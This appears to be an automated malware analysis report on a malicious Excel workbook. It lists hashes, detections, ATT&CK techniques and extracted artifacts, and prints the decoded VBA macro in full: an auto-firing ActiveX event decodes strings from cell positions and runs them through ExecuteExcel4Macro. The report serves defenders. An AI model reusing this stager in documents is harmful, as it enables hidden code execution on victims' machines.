Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cab4eae157571452…

MALICIOUS

Office (OOXML)

37.9 KB Created: 2020-07-07 07:13:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: b970d36078aefc235cd6137fa5ac5e45 SHA-1: 5e71a534f61d9070698a692c1679c0e2b69bec4a SHA-256: cab4eae157571452fb451e0ff302906b73ef2d2a9f502f74280d980f085f718d
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an OOXML document containing VBA macros. A critical heuristic indicates that a VBA ActiveX event triggers the execution of a decoded Excel 4.0 macro. The VBA macro's `stampafattura` subroutine iterates through cells, concatenates characters based on column numbers, splits the result by 'Q', and then executes each part using `ExecuteExcel4Macro`. This mechanism is commonly used to download and execute further malicious content, hence the high confidence in a second-stage payload.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1098 bytes
SHA-256: cac2133bbbed08d2759f6c973bc318a618365aa9e4cf8eb90a9a33abc8537013
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "logo, 4, 0, MSForms, MultiPage"
Sub stampafattura()
Set Rng = [A1:IV1350]
For Each Ts In Rng
If Ts.NumberFormat = 0 Then k = k + Chr(Ts.Column)
Next
m = Split(k, "Q"): For Each II In m
ExecuteExcel4Macro II: Next
End Sub
Private Sub logo_Layout(ByVal Index As Long)
stampafattura
End Sub
Sub restamp()
Application.Dialogs(xlDialogPrint).Show
Application.WindowState = xlMinimized: MsgBox "", vbInformation: ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 52d731a52505164546e328ebb4e9ee1bf394e2ed74bb0b8dcfc188130d9ccb6c
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1408 bytes
SHA-256: da935e8d60e93e41bcd7c3fbb1750ef3ac471c3af78afc8945dfbf31eb54a1e1

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